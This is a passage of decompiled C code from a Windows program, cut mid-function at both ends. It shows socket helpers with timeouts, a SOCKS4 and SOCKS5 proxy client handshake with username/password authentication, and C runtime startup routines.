    v13 = a7 < 0x10;
    *(_DWORD *)(v9 + 92) = -1;
    if ( v13 )
      return -1;
    operator delete(a2);
    result = -1;
  }
  return result;
}

//----- (0041C960) --------------------------------------------------------
char __usercall sub_41C960<al>(int a1<edi>)
{
  const char *v1; // eax@2
  struct hostent *v2; // eax@4
  signed int v3; // eax@6
  u_short v5; // ST08_2@6
  int  s; // [sp+20h] [bp+0h]@1
  unsigned int v7; // [sp+1Ch] [bp-4h]@1
  struct sockaddr name; // [sp+Ch] [bp-14h]@6
  signed int v9; // [sp+8h] [bp-18h]@7

  v7 = (unsigned int)& s ^ dword_426018;
  if ( *(_DWORD *)(a1 + 20) < 0x10u )
    v1 = (const char *)a1;
  else
    v1 = *(const char **)a1;
  v2 = gethostbyname(v1);
  if ( !v2
    || !*v2->h_addr_list
    || (*(_DWORD *)&name.sa_data[2] = 0, *(_DWORD *)&name.sa_family = 0, *(_DWORD *)&name.sa_data[6] = 0, *(_DWORD *)&name.sa_data[10] = 0, v5 = *(_WORD *)(a1 + 28), *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v2->h_addr_list, *(_WORD *)&name.sa_data[0] = htons(v5), name.sa_family = 2, v3 = socket(2, 1, 0), *(_DWORD *)(a1 + 92) = v3, v3 == -1) )
    return 0;
  v9 = 30000;
  if ( sub_41D3A0(&name, (int)&v9, v3) )
  {
    closesocket(*(_DWORD *)(a1 + 92));
    *(_DWORD *)(a1 + 92) = -1;
    return 0;
  }
  return 1;
}

//----- (0041CA20) --------------------------------------------------------
char __fastcall sub_41CA20(int a1)
{
  const char *v1; // eax@1
  int v2; // ebx@1
  int v3; // eax@3
  u_short v4; // di@5
  int v5; // esi@5
  int v6; // eax@7
  unsigned int v7; // ecx@7
  int v8; // esi@8
  int v9; // ebx@12
  int v11; // eax@7
  SOCKET v12; // edi@12
  int v13; // edx@12
  int v14; // [sp+24h] [bp-14h]@3
  int v15; // [sp+14h] [bp-24h]@5
  void *Src; // [sp+18h] [bp-20h]@5
  int v17; // [sp+1Ch] [bp-1Ch]@5
  int v18; // [sp+34h] [bp-4h]@7
  char v19; // [sp+2Bh] [bp-Dh]@12

  v2 = a1;
  v1 = (const char *)(a1 + 60);
  if ( *(_DWORD *)(a1 + 80) >= 0x10u )
    v1 = *(const char **)v1;
  v3 = (int)gethostbyname(v1);
  v14 = v3;
  if ( !v3 || !**(_DWORD **)(v3 + 12) )
    return 0;
  v4 = htons(*(_WORD *)(v2 + 88));
  v15 = 0;
  Src = 0;
  v17 = 0;
  sub_405AD0((int)&v15, 8);
  v5 = v15;
  if ( v15 - (_DWORD)Src != -8 )
    memset(Src, 0, v15 - (_DWORD)Src + 8);
  Src = (void *)(v5 + 8);
  v18 = 0;
  v11 = v14;
  *(_WORD *)v5 = 260;
  *(_WORD *)(v5 + 2) = v4;
  *(_DWORD *)(v5 + 4) = ***(_DWORD ***)(v11 + 12);
  v7 = *(_DWORD *)(v2 + 52);
  v6 = v2 + 32;
  if ( v7 < 0x10 )
    v8 = v2 + 32;
  else
    v8 = *(_DWORD *)v6;
  if ( v7 >= 0x10 )
    v6 = *(_DWORD *)v6;
  sub_41D130((int)&v15, Src, v6, v8 + *(_DWORD *)(v2 + 48), v14);
  v19 = 0;
  sub_4179C0((unsigned int)&v19, (int)&v15);
  v12 = *(_DWORD *)(v2 + 92);
  v9 = v15;
  v14 = 30000;
  if ( sub_41D5F0((int)((char *)Src - v15), v13, v12, v15, (int)&v14) != (_DWORD)((char *)Src - v15) )
  {
    if ( v9 )
      operator delete(v9);
    return 0;
  }
  if ( v9 )
    operator delete(v9);
  return 1;
}

//----- (0041CB80) --------------------------------------------------------
char __stdcall sub_41CB80(int a1)
{
  SOCKET v2; // edi@1
  int  s; // [sp+1Ch] [bp+0h]@1
  unsigned int v4; // [sp+14h] [bp-8h]@1
  signed int v5; // [sp+8h] [bp-14h]@1
  _WORD v6[4]; // [sp+Ch] [bp-10h]@1

  v4 = (unsigned int)& s ^ dword_426018;
  v2 = *(_DWORD *)(a1 + 92);
  v5 = 30000;
  return sub_41D7D0(8, (int)v6, v2, (int)v6, (char)&v5, 1) == 8 && !(_BYTE)v6 && HIBYTE(v6[0]) == 90;
}

//----- (0041CBF0) --------------------------------------------------------
signed int __thiscall sub_41CBF0(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9)
{
  int v9; // edx@1
  int v10; // esi@1
  SOCKET v12; // ST08_4@11
  int v13; // edx@17
  SOCKET v14; // edi@5
  char v15; // cf@6
  SOCKET v16; // edi@8
  int v17; // edi@19
  int v18; // [sp+24h] [bp-4h]@1
  int v19; // [sp+18h] [bp-10h]@5
  signed int v20; // [sp+14h] [bp-14h]@5

  v10 = this;
  v18 = 0;
  sub_401600(this + 88, -1, 0, (int)&a2);
  *(_DWORD *)(v10 + 116) = a9;
  if ( !sub_408E90(v10) )
  {
    if ( a7 >= 0x10 )
      operator delete(a2);
    return -1;
  }
  v14 = *(_DWORD *)(v10 + 120);
  v19 = 33554949;
  v20 = 30000;
  if ( sub_41D5F0(4, v9, v14, (int)&v19, (int)&v20) == 4 )
  {
    v16 = *(_DWORD *)(v10 + 120);
    v20 = 30000;
    if ( sub_41D7D0(2, (int)&v19, v16, (int)&v19, (char)&v20, 1) != 2 )
    {
LABEL_11:
      v12 = *(_DWORD *)(v10 + 120);
LABEL_12:
      closesocket(v12);
      *(_DWORD *)(v10 + 120) = -1;
      sub_401970((int)&a2);
      return -1;
    }
    if ( BYTE1(v19) )
    {
      if ( BYTE1(v19) != 2 )
        goto LABEL_11;
      if ( !sub_41CD90(v10) )
      {
LABEL_14:
        v12 = *(_DWORD *)(v10 + 120);
        goto LABEL_12;
      }
      if ( !sub_41CF10(v10) )
      {
        v12 = *(_DWORD *)(v10 + 120);
        goto LABEL_12;
      }
    }
    if ( !sub_41CF60(v10) )
      goto LABEL_11;
    if ( sub_41D010(v13, v10) )
    {
      v17 = *(_DWORD *)(v10 + 120);
      sub_401970((int)&a2);
      return v17;
    }
    goto LABEL_14;
  }
  closesocket(*(_DWORD *)(v10 + 120));
  v15 = a7 < 0x10;
  *(_DWORD *)(v10 + 120) = -1;
  if ( v15 )
    return -1;
  operator delete(a2);
  return -1;
}

//----- (0041CD90) --------------------------------------------------------
char __fastcall sub_41CD90(int a1)
{
  int v1; // eax@1
  unsigned int v2; // edx@1
  int v3; // ebx@1
  int v4; // esi@2
  void *v5; // edx@6
  int v6; // eax@7
  char *v7; // esi@8
  int v8; // eax@16
  void *v9; // edx@16
  unsigned int v10; // esi@16
  int v11; // edi@17
  int v12; // ebx@21
  char result; // al@24
  SOCKET v14; // edi@21
  int v15; // [sp+14h] [bp-24h]@1
  void *Src; // [sp+18h] [bp-20h]@1
  void *v17; // [sp+1Ch] [bp-1Ch]@1
  int v18; // [sp+34h] [bp-4h]@1
  int v19; // [sp+24h] [bp-14h]@6
  char v20; // [sp+2Bh] [bp-Dh]@6

  v3 = a1;
  v15 = 0;
  Src = 0;
  v17 = 0;
  sub_41D0D0((int)&v15);
  v18 = 0;
  *(_BYTE *)v15 = 1;
  *(_BYTE *)(v15 + 1) = *(_BYTE *)(v3 + 48);
  v2 = *(_DWORD *)(v3 + 52);
  v1 = v3 + 32;
  if ( v2 < 0x10 )
    v4 = v3 + 32;
  else
    v4 = *(_DWORD *)v1;
  if ( v2 >= 0x10 )
    v1 = *(_DWORD *)v1;
  sub_41D130((int)&v15, Src, v1, v4 + *(_DWORD *)(v3 + 48), v19);
  v5 = Src;
  v20 = *(_BYTE *)(v3 + 76);
  if ( &v20 >= Src || (v6 = v15, v15 > (unsigned int)&v20) )
  {
    if ( Src == v17 )
    {
      sub_405AD0((int)&v15, 1);
      v5 = Src;
    }
    if ( v5 )
      *(_BYTE *)v5 = v20;
  }
  else
  {
    v7 = &v20 - v15;
    if ( Src == v17 )
    {
      sub_405AD0((int)&v15, 1);
      v5 = Src;
      v6 = v15;
    }
    if ( v5 )
      *(_BYTE *)v5 = v7[v6];
  }
  v10 = *(_DWORD *)(v3 + 80);
  v8 = v3 + 60;
  v9 = (char *)v5 + 1;
  Src = v9;
  if ( v10 < 0x10 )
    v11 = v3 + 60;
  else
    v11 = *(_DWORD *)v8;
  if ( v10 >= 0x10 )
    v8 = *(_DWORD *)v8;
  sub_41D130((int)&v15, v9, v8, v11 + *(_DWORD *)(v3 + 76), v19);
  v14 = *(_DWORD *)(v3 + 120);
  v12 = v15;
  v19 = 30000;
  if ( sub_41D5F0((int)((char *)Src - v15), (int)&v19, v14, v15, (int)&v19) == (_DWORD)((char *)Src - v15) )
  {
    if ( v12 )
      operator delete(v12);
    result = 1;
  }
  else
  {
    if ( v12 )
      operator delete(v12);
    result = 0;
  }
  return result;
}

//----- (0041CF10) --------------------------------------------------------
char __usercall sub_41CF10<al>(int a1<eax>)
{
  char result; // al@2
  SOCKET v2; // edi@1
  signed int v3; // [sp+8h] [bp-8h]@1
  int v4; // [sp+Ch] [bp-4h]@1

  v2 = *(_DWORD *)(a1 + 120);
  v3 = 30000;
  if ( sub_41D7D0(2, (int)&v4, v2, (int)&v4, (char)&v3, 1) == 2 )
    result = BYTE1(v4) == 0;
  else
    result = 1;
  return result;
}

//----- (0041CF60) --------------------------------------------------------
char __fastcall sub_41CF60(int a1)
{
  const char *v1; // eax@1
  int v2; // esi@1
  struct hostent *v3; // eax@3
  char result; // al@4
  u_short v5; // ST04_2@6
  SOCKET v6; // edi@6
  int  s; // [sp+20h] [bp+0h]@1
  unsigned int v8; // [sp+1Ch] [bp-4h]@1
  int v9; // [sp+14h] [bp-Ch]@6
  int v10; // [sp+10h] [bp-10h]@6
  u_short v11; // [sp+18h] [bp-8h]@6
  signed int v12; // [sp+Ch] [bp-14h]@6

  v8 = (unsigned int)& s ^ dword_426018;
  v2 = a1;
  v1 = (const char *)(a1 + 88);
  if ( *(_DWORD *)(a1 + 108) >= 0x10u )
    v1 = *(const char **)v1;
  v3 = gethostbyname(v1);
  if ( v3 && *v3->h_addr_list )
  {
    v9 = 0;
    v10 = 16777477;
    v11 = -1;
    v5 = *(_WORD *)(v2 + 116);
    v9 = **(_DWORD **)v3->h_addr_list;
    v6 = *(_DWORD *)(v2 + 120);
    v11 = htons(v5);
    v12 = 30000;
    result = sub_41D5F0(10, (int)&v10, v6, (int)&v10, (int)&v12) == 10;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (0041D010) --------------------------------------------------------
char __usercall sub_41D010<al>(int a1<edx>, int a2<ebx>)
{
  int v2; // eax@4
  int v3; // esi@5
  SOCKET v5; // edi@1
  SOCKET v6; // edi@8
  int  s; // [sp+120h] [bp+0h]@1
  unsigned int v8; // [sp+11Ch] [bp-4h]@1
  signed int v9; // [sp+Ch] [bp-114h]@1
  int v10; // [sp+114h] [bp-Ch]@1
  unsigned __int8 v11; // [sp+118h] [bp-8h]@6
  int v12; // [sp+10h] [bp-110h]@8

  v8 = (unsigned int)& s ^ dword_426018;
  v5 = *(_DWORD *)(a2 + 120);
  v9 = 30000;
  if ( sub_41D7D0(5, a1, v5, (int)&v10, (char)&v9, 1) != 5 )
    return 0;
  if ( BYTE3(v10) == 1 )
  {
    v3 = 5;
  }
  else
  {
    if ( BYTE3(v10) == 3 )
    {
      v3 = v11 + 2;
    }
    else
    {
      v2 = BYTE3(v10) - 4;
      if ( v2 )
        return 0;
      v3 = v2 + 17;
    }
  }
  v6 = *(_DWORD *)(a2 + 120);
  v9 = 30000;
  if ( sub_41D7D0(v3, (int)&v9, v6, (int)&v12, (char)&v9, 1) == v3 && (_BYTE)v10 == 5 && !BYTE1(v10) )
    return 1;
  return 0;
}

//----- (0041D0D0) --------------------------------------------------------
void *__usercall sub_41D0D0<eax>(int a1<esi>)
{
  void *result; // eax@1
  int v2; // edx@1
  int v3; // ecx@1
  int v4; // ebx@2
  size_t v5; // eax@6
  int v6; // eax@6
  char v7; // zf@6

  result = *(void **)(a1 + 4);
  v3 = *(_DWORD *)a1;
  v2 = (int)((char *)result - *(_DWORD *)a1);
  if ( (unsigned int)v2 <= 2 )
  {
    if ( (unsigned int)v2 < 2 )
    {
      sub_405AD0(a1, v3 - (_DWORD)result + 2);
      v6 = *(_DWORD *)a1 - *(_DWORD *)(a1 + 4);
      v7 = v6 == -2;
      v5 = v6 + 2;
      if ( !v7 )
        memset(*(void **)(a1 + 4), 0, v5);
      result = (void *)(*(_DWORD *)a1 + 2);
      *(_DWORD *)(a1 + 4) = *(_DWORD *)a1 + 2;
    }
  }
  else
  {
    v4 = v3 + 2;
    if ( v3 + 2 != (_DWORD)result )
    {
      result = memmove((void *)(v3 + 2), result, 0);
      *(_DWORD *)(a1 + 4) = v4;
    }
  }
  return result;
}

//----- (0041D130) --------------------------------------------------------
int __thiscall sub_41D130(int this, void *Src, int a3, int a4, int a5)
{
  int result; // eax@1
  int v6; // ebx@1
  int v7; // esi@1
  int v8; // eax@2
  int v9; // edx@2
  unsigned int v10; // ecx@4
  int v11; // edi@4
  unsigned int v12; // ecx@6
  int v13; // ebx@10
  int v14; // eax@10
  char *v15; // edi@10
  size_t v16; // ST14_4@10
  const void *v17; // ST10_4@10
  void *v18; // eax@10
  int v19; // eax@10
  int v20; // ecx@12
  int v21; // [sp+1Ch] [bp-Ch]@1
  int v22; // [sp+0h] [bp-28h]@1
  int *v23; // [sp+18h] [bp-10h]@1
  int v24; // [sp+14h] [bp-14h]@6
  int v25; // [sp+24h] [bp-4h]@10
  int v26; // [sp+10h] [bp-18h]@10

  result = (int)&v21;
  v23 = &v22;
  v7 = this;
  v6 = a4 - a3;
  if ( a4 != a3 )
  {
    v9 = *(_DWORD *)this;
    v8 = *(_DWORD *)(this + 4);
    if ( *(_DWORD *)this - v8 - 1 < (unsigned int)v6 )
      v8 = std___Xlength_error("vector<T> too long");
    v11 = v6 + v8 - v9;
    v10 = *(_DWORD *)(v7 + 8) - v9;
    if ( v10 >= v11 )
    {
      sub_41D2A0(v8, a3, a4);
      result = *(_DWORD *)(v7 + 4);
      if ( Src != (void *)result )
      {
        if ( v6 )
          result = sub_41D2D0(result, result + v6, (int)Src);
      }
      *(_DWORD *)(v7 + 4) += v6;
    }
    else
    {
      if ( -1 - (v10 >> 1) >= v10 )
      {
        v12 = (v10 >> 1) + v10;
        v24 = v12;
      }
      else
      {
        v24 = 0;
        v12 = 0;
      }
      if ( v12 < v11 )
      {
        v24 = v6 + v8 - v9;
        v12 = v6 + v8 - v9;
      }
      v14 = sub_405DA0(v12);
      v25 = 0;
      v15 = (char *)Src - *(_DWORD *)v7;
      v16 = (size_t)((char *)Src - *(_DWORD *)v7);
      v17 = *(const void **)v7;
      v26 = v14;
      v18 = memmove((void *)v14, v17, v16);
      v19 = sub_41D2A0((_DWORD)v15 + (_DWORD)v18, a3, a4);
      memmove((void *)v19, Src, *(_DWORD *)(v7 + 4) - (_DWORD)Src);
      v13 = *(_DWORD *)(v7 + 4) - *(_DWORD *)v7 + v6;
      if ( *(_DWORD *)v7 )
        operator delete(*(_DWORD *)v7);
      result = v26;
      v20 = v26 + v13;
      *(_DWORD *)(v7 + 8) = v26 + v24;
      *(_DWORD *)(v7 + 4) = v20;
      *(_DWORD *)v7 = result;
    }
  }
  return result;
}

//----- (0041D2A0) --------------------------------------------------------
int __usercall sub_41D2A0<eax>(int result<eax>, int a2, int a3)
{
  int v3; // ecx@1
  int i; // esi@1

  v3 = a2;
  for ( i = a3; v3 != i; a2 = v3 )
  {
    if ( result )
      *(_BYTE *)result = *(_BYTE *)v3;
    ++v3;
    ++result;
  }
  return result;
}

//----- (0041D2D0) --------------------------------------------------------
signed int __usercall sub_41D2D0<eax>(int a1<eax>, int a2<edi>, int a3)
{
  signed int result; // eax@1
  int v4; // edx@1
  int v5; // ecx@1
  signed int v6; // ebx@1
  int v7; // esi@1
  int v8; // ebx@6
  int v9; // eax@8
  int v10; // edx@8
  int v11; // ecx@10
  int v12; // edx@2
  int v13; // [sp+14h] [bp-10h]@1
  int v14; // [sp+1Ch] [bp-8h]@1
  int v15; // [sp+Ch] [bp-18h]@6
  int v16; // [sp+18h] [bp-Ch]@6
  int v17; // [sp+10h] [bp-14h]@6
  char v18; // [sp+23h] [bp-1h]@11
  int v19; // [sp+8h] [bp-1Ch]@11

  v5 = a3;
  v7 = a1 - a3;
  v4 = a2 - a3;
  v13 = a2 - a3;
  result = a2 - a3;
  v14 = a2 - a3;
  v6 = v7;
  if ( v7 )
  {
    do
    {
      v12 = result % v6;
      result = v6;
      v6 = v12;
    }
    while ( v12 );
    v4 = v13;
    v14 = result;
  }
  if ( result < v4 )
  {
    if ( result > 0 )
    {
      v15 = -a3;
      v16 = -v7;
      v8 = result + a3;
      v17 = -a2;
      v13 = result + a3;
      while ( 1 )
      {
        v10 = v8 + v7;
        v9 = v8;
        if ( v8 + v7 == a2 )
          v10 = v5;
        v11 = -v10;
        do
        {
          v18 = *(_BYTE *)v9;
          *(_BYTE *)v9 = *(_BYTE *)v10;
          *(_BYTE *)v10 = v18;
          v9 = v10;
          v19 = v10;
          if ( v7 >= v11 + a2 )
          {
            v10 += a3 + v7 - a2;
            v11 = v15 + v16 + v11 - v17;
            v9 = v19;
          }
          else
          {
            v10 += v7;
            v11 += v16;
          }
        }
        while ( v10 != v13 );
        result = v14 - 1;
        v8 = v13 - 1;
        --v14;
        --v13;
        if ( result <= 0 )
          break;
        v5 = a3;
      }
    }
  }
  return result;
}

//----- (0041D3A0) --------------------------------------------------------
signed int __usercall sub_41D3A0<eax>(struct sockaddr *name<ecx>, int a2<edx>, SOCKET a3<esi>)
{
  int v3; // ebx@1
  struct sockaddr *v4; // edi@1
  int v5; // eax@2
  signed int result; // eax@9
  char v7; // zf@11
  char v8; // sf@11
  unsigned __int8 v9; // of@11
  int v10; // edi@11
  int v11; // eax@20
  unsigned __int8 v12; // zf@1
  char v13; // sf@1
  __int32 v14; // edx@10
  int v15; // eax@11
  int  s; // [sp+150h] [bp+0h]@1
  unsigned int v17; // [sp+14Ch] [bp-4h]@1
  int v18; // [sp+14h] [bp-13Ch]@1
  int v19; // [sp+138h] [bp-18h]@2
  u_long argp; // [sp+1Ch] [bp-134h]@2
  struct timeval timeout; // [sp+8h] [bp-148h]@10
  fd_set writefds; // [sp+20h] [bp-130h]@11
  int iError; // [sp+18h] [bp-138h]@20
  int optlen; // [sp+10h] [bp-140h]@20
  int v25; // [sp+128h] [bp-28h]@24
  unsigned __int16 v26; // [sp+130h] [bp-20h]@24
  unsigned __int16 v27; // [sp+140h] [bp-10h]@24

  v17 = (unsigned int)& s ^ dword_426018;
  v3 = a2;
  v12 = *(_DWORD *)a2 == 0;
  v13 = *(_DWORD *)a2 < 0;
  v4 = name;
  v18 = a2;
  if ( v13 | v12 || (ftime64(&v19), argp = 1, v5 = ioctlsocket(a3, -2147195266, &argp), v5) )
    return -1;
  argp = v5;
  if ( connect(a3, v4, 16)
    && WSAGetLastError() != 10036
    && WSAGetLastError() != 10037
    && WSAGetLastError() != 10035
    && WSAGetLastError() != 10022 )
  {
    ioctlsocket(a3, -2147195266, &argp);
    return -1;
  }
  v14 = 1000 * *(_DWORD *)v3 % 1000;
  timeout.tv_sec = *(_DWORD *)v3 / 1000;
  timeout.tv_usec = v14;
  while ( 1 )
  {
    writefds.fd_array[0] = a3;
    writefds.fd_count = 1;
    v15 = select(a3 + 1, 0, &writefds, 0, &timeout);
    v10 = v15;
    v9 = 0;
    v7 = v15 == 0;
    v8 = v15 < 0;
    if ( v15 >= 0 )
      break;
    if ( WSAGetLastError() != 10004 )
    {
      v9 = 0;
      v7 = v10 == 0;
      v8 = v10 < 0;
      break;
    }
  }
  if ( !((unsigned __int8)(v8 ^ v9) | v7) )
    goto LABEL_27;
  ioctlsocket(a3, -2147195266, &argp);
  if ( v10 < 0 )
    return -1;
  if ( v10 )
  {
LABEL_27:
    if ( !_WSAFDIsSet(a3, &writefds)
      || (iError = 0, optlen = 4, v11 = getsockopt(a3, 65535, 4103, (char *)&iError, &optlen), v11) )
    {
      ioctlsocket(a3, -2147195266, &argp);
      result = -1;
    }
    else
    {
      if ( iError == v11 )
      {
        if ( ioctlsocket(a3, -2147195266, &argp) )
          return -1;
        ftime64(&v25);
        *(_DWORD *)v18 = v26 + 1000 * (v25 - v19) - v27;
        result = 0;
      }
      else
      {
        *errno() = iError;
        ioctlsocket(a3, -2147195266, &argp);
        WSASetLastError(iError);
        result = -1;
      }
    }
  }
  else
  {
    result = -2;
  }
  return result;
}

//----- (0041D5F0) --------------------------------------------------------
int __usercall sub_41D5F0<eax>(int len<ecx>, int a2<edx>, SOCKET a3<edi>, int a4, int a5)
{
  int v4; // ebx@1
  int v5; // esi@1
  int result; // eax@2
  int v7; // eax@5
  int v8; // eax@10
  int  s; // [sp+170h] [bp+0h]@1
  unsigned int v10; // [sp+16Ch] [bp-4h]@1
  int v11; // [sp+18h] [bp-158h]@1
  int v13; // [sp+1Ch] [bp-154h]@1
  int v14; // [sp+14h] [bp-15Ch]@1
  int v15; // [sp+158h] [bp-18h]@5
  struct timeval timeout; // [sp+Ch] [bp-164h]@5
  fd_set writefds; // [sp+20h] [bp-150h]@5
  int v18; // [sp+148h] [bp-28h]@7
  unsigned __int16 v19; // [sp+150h] [bp-20h]@7
  unsigned __int16 v20; // [sp+160h] [bp-10h]@7
  int v21; // [sp+138h] [bp-38h]@12
  unsigned __int16 v22; // [sp+140h] [bp-30h]@12
  int v23; // [sp+128h] [bp-48h]@13
  unsigned __int16 v24; // [sp+130h] [bp-40h]@13

  v10 = (unsigned int)& s ^ dword_426018;
  v11 = a4;
  v5 = *(_DWORD *)a5;
  v4 = len;
  v13 = len;
  v14 = a5;
  if ( v5 > 0 )
  {
    if ( len > 0 )
    {
      while ( v5 > 0 )
      {
        ftime64(&v15);
        timeout.tv_sec = ((signed int)((unsigned __int64)(274877907i64 * v5) >> 32) >> 6)
                       + ((unsigned int)((unsigned __int64)(274877907i64 * v5) >> 32) >> 31);
        timeout.tv_usec = 1000
                        * (v5
                         - 1000
                         * (((signed int)((unsigned __int64)(274877907i64 * v5) >> 32) >> 6)
                          + ((unsigned int)((unsigned __int64)(274877907i64 * v5) >> 32) >> 31)));
        writefds.fd_array[0] = a3;
        writefds.fd_count = 1;
        v7 = select(a3 + 1, 0, &writefds, 0, &timeout);
        if ( v7 >= 0 )
        {
          if ( !v7 )
            return -2;
          if ( !_WSAFDIsSet(a3, &writefds) )
            goto LABEL_2;
          v8 = send(a3, (const char *)(v11 + v13 - v4), v4, 0);
          if ( v8 >= 0 )
          {
            v4 -= v8;
            ftime64(&v23);
            v5 += 1000 * (v15 - v23) - v24 + v20;
          }
          else
          {
            if ( WSAGetLastError() != 10004 )
              goto LABEL_2;
            ftime64(&v21);
            v5 += 1000 * (v15 - v21) - v22 + v20;
          }
        }
        else
        {
          if ( WSAGetLastError() != 10004 )
            goto LABEL_2;
          ftime64(&v18);
          v5 += 1000 * (v15 - v18) - v19 + v20;
        }
        if ( v4 <= 0 )
          break;
      }
    }
    *(_DWORD *)v14 -= v5;
    result = v13 - v4;
  }
  else
  {
LABEL_2:
    result = -1;
  }
  return result;
}

//----- (0041D7D0) --------------------------------------------------------
int __usercall sub_41D7D0<eax>(int len<ecx>, int a2<edx>, SOCKET a3<edi>, int a4, char a5, char a6)
{
  int v5; // ebx@1
  int v6; // esi@1
  int result; // eax@2
  int v8; // eax@5
  int v9; // eax@10
  int  s; // [sp+174h] [bp+0h]@1
  unsigned int v11; // [sp+16Ch] [bp-8h]@1
  int v12; // [sp+18h] [bp-15Ch]@1
  int v13; // [sp+1Ch] [bp-158h]@1
  int v14; // [sp+14h] [bp-160h]@1
  int v15; // [sp+158h] [bp-1Ch]@5
  struct timeval timeout; // [sp+Ch] [bp-168h]@5
  fd_set readfds; // [sp+20h] [bp-154h]@5
  int v18; // [sp+148h] [bp-2Ch]@7
  unsigned __int16 v19; // [sp+150h] [bp-24h]@7
  unsigned __int16 v20; // [sp+160h] [bp-14h]@7
  int v21; // [sp+138h] [bp-3Ch]@12
  unsigned __int16 v22; // [sp+140h] [bp-34h]@12
  int v23; // [sp+128h] [bp-4Ch]@13
  unsigned __int16 v24; // [sp+130h] [bp-44h]@13

  v11 = (unsigned int)& s ^ dword_426018;
  v12 = a4;
  v6 = *(_DWORD *)a5;
  v5 = len;
  v13 = len;
  v14 = a5;
  if ( v6 > 0 )
  {
    if ( len > 0 )
    {
      while ( v6 > 0 )
      {
        ftime64(&v15);
        timeout.tv_sec = ((signed int)((unsigned __int64)(274877907i64 * v6) >> 32) >> 6)
                       + ((unsigned int)((unsigned __int64)(274877907i64 * v6) >> 32) >> 31);
        timeout.tv_usec = 1000
                        * (v6
                         - 1000
                         * (((signed int)((unsigned __int64)(274877907i64 * v6) >> 32) >> 6)
                          + ((unsigned int)((unsigned __int64)(274877907i64 * v6) >> 32) >> 31)));
        readfds.fd_array[0] = a3;
        readfds.fd_count = 1;
        v8 = select(a3 + 1, &readfds, 0, 0, &timeout);
        if ( v8 >= 0 )
        {
          if ( !v8 )
            return -2;
          if ( !_WSAFDIsSet(a3, &readfds) )
            goto LABEL_2;
          v9 = recv(a3, (char *)(v12 + v13 - v5), v5, 0);
          if ( v9 >= 0 )
          {
            v5 -= v9;
            ftime64(&v23);
            v6 += 1000 * (v15 - v23) - v24 + v20;
            if ( !a6 )
              break;
          }
          else
          {
            if ( WSAGetLastError() != 10004 )
              goto LABEL_2;
            ftime64(&v21);
            v6 += 1000 * (v15 - v21) - v22 + v20;
          }
        }
        else
        {
          if ( WSAGetLastError() != 10004 )
            goto LABEL_2;
          ftime64(&v18);
          v6 += 1000 * (v15 - v18) - v19 + v20;
        }
        if ( v5 <= 0 )
          break;
      }
    }
    *(_DWORD *)v14 -= v6;
    result = v13 - v5;
  }
  else
  {
LABEL_2:
    result = -1;
  }
  return result;
}

//----- (0041D9E4) --------------------------------------------------------
int __usercall sub_41D9E4<eax>(int a1<eax>, int a2<edx>, int a3<ecx>, int a4<ebx>, int a5<edi>, int a6<esi>, char a7)
{
  if ( a3 == dword_426018 )
    __asm { rep retn }
  return sub_41DDA2(a1, a2, a3, a4, a5, a6, a7);
}

//----- (0041DA06) --------------------------------------------------------
int __userpurge sub_41DA06<eax>(void *a1<ecx>, int a2<ebp>, char a3)
{
  void *v3; // edi@1
  int result; // eax@4

  v3 = a1;
  if ( a3 & 2 )
  {
    sub_41DF06(
      a2,
      (int)a1,
      12,
      *((_DWORD *)a1 - 1),
      (int (__thiscall *)(_DWORD))type_info___type_info_dtor_internal_method);
    if ( a3 & 1 )
      operator delete((char *)v3 - 4);
    result = (int)((char *)v3 - 4);
  }
  else
  {
    type_info___type_info_dtor_internal_method();
    if ( a3 & 1 )
      operator delete(v3);
    result = (int)v3;
  }
  return result;
}

//----- (0041DA52) --------------------------------------------------------
_onexit_t __cdecl sub_41DA52(_onexit_t Ptr)
{
  _onexit_t result; // eax@2
  PVOID v2; // eax@1
  PVOID v3; // eax@3
  PVOID v4; // [sp+18h] [bp-1Ch]@1
  CPPEH_RECORD ms_exc; // [sp+1Ch] [bp-18h]@3
  PVOID v6; // [sp+14h] [bp-20h]@3
  int v7; // [sp+10h] [bp-24h]@3

  v2 = DecodePointer(Ptr);
  v4 = v2;
  if ( v2 == (PVOID)-1 )
  {
    result = onexit(Ptr);
  }
  else
  {
    lock(8);
    ms_exc.disabled = 0;
    v4 = DecodePointer(Ptr);
    v6 = DecodePointer(dword_426968);
    v3 = EncodePointer(Ptr);
    v7 = _dllonexit(v3, &v4, &v6);
    Ptr = EncodePointer(v4);
    dword_426968 = EncodePointer(v6);
    ms_exc.disabled = -2;
    sub_41DAEA();
    result = (_onexit_t)v7;
  }
  return result;
}

//----- (0041DAEA) --------------------------------------------------------
int __cdecl sub_41DAEA()
{
  return unlock(8);
}

//----- (0041DAF3) --------------------------------------------------------
int __cdecl sub_41DAF3(_onexit_t Ptr)
{
  return (sub_41DA52(Ptr) != 0) - 1;
}

//----- (0041DB0A) --------------------------------------------------------
int __cdecl sub_41DB0A()
{
  int result; // eax@1

  sub_41DAF3(byte_41E07A);
  dword_4263A4 = dword_4266D8;
  result = _getmainargs(&dword_426390, &dword_426398, &dword_426394, dword_4266D4, &dword_4263A4);
  dword_4263A0 = result;
  if ( result < 0 )
    result = amsg_exit(8);
  return result;
}

//----- (0041DCDE) --------------------------------------------------------
int __cdecl sub_41DCDE()
{
  int v0; // eax@2
  PVOID v2; // eax@7

  if ( v400000 != 23117
    || *(_DWORD *)(v40003c + 4194304) != 17744
    || *(_WORD *)(v40003c + 4194328) != 267
    || *(_DWORD *)(v40003c + 4194420) <= 0xEu )
    v0 = 0;
  else
    v0 = *(_DWORD *)(v40003c + 4194536) != 0;
  dword_42639C = v0;
  _set_app_type(1);
  v2 = EncodePointer((PVOID)0xFFFFFFFF);
  dword_426968 = v2;
  Ptr = v2;
  fmode = dword_4266E0;
  commode = (void *)dword_4266DC;
  sub_41E054();
  sub_41E230();
  if ( !dword_42602C )
    _setusermatherr(sub_41E230);
  sub_41E208();
  if ( dword_426028 == -1 )
    configthreadlocale(-1);
  return 0;
}

//----- (0041DDA2) --------------------------------------------------------
int __usercall sub_41DDA2<eax>(int a1<eax>, int a2<edx>, int a3<ecx>, int a4<ebx>, int a5<edi>, int a6<esi>, char a7)
{
  int ST00_4_0; // ST00_4@0
  int v8; // ecx@1
  int v10; // ST04_4@1
  int v11; // ST00_4@2
  int v12; // eax@3
  int  s; // [sp+328h] [bp+0h]@1
  int  r; // [sp+32Ch] [bp+4h]@1

  dword_4264B8 = a1;
  dword_4264B4 = a3;
  dword_4264B0 = a2;
  dword_4264AC = a4;
  dword_4264A8 = a6;
  dword_4264A4 = a5;
